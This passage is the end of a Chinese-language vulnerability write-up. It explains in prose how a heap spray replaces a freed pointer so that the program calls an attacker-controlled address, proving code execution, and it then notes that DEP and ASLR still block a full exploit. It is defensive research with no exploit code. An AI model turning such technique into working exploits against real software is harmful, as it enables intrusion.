不同的是之前釋放指針指向的EDI+1Ch中的無效內容現在被替換成了0x20302228,這個值會被保存到EAX寄存器中,而后0x20302228內存處的值又被賦值給了ESI寄存器,即通過DEPS堆噴設置的0x6161615d。最后程序會調用ESI+4指向的地址,也就是我們可控的0x61616161地址處的值,從而證明了代碼的執行。
0x08 后續工作
后續的工作就是要把此漏洞轉換成真正可利用的exploit,不過由于程序存在DEP和ASLR保護,我們還需要借此實現相關的infoleak,我之前花了些時間試圖借助https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf 中的內容來尋找靈感,但最終還是沒能再繼續下去。你要是有什么idea歡迎聯系我一起討論,如果能找到將這個bug轉換成infoleak的方法,那么我會非常感興趣的。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/212/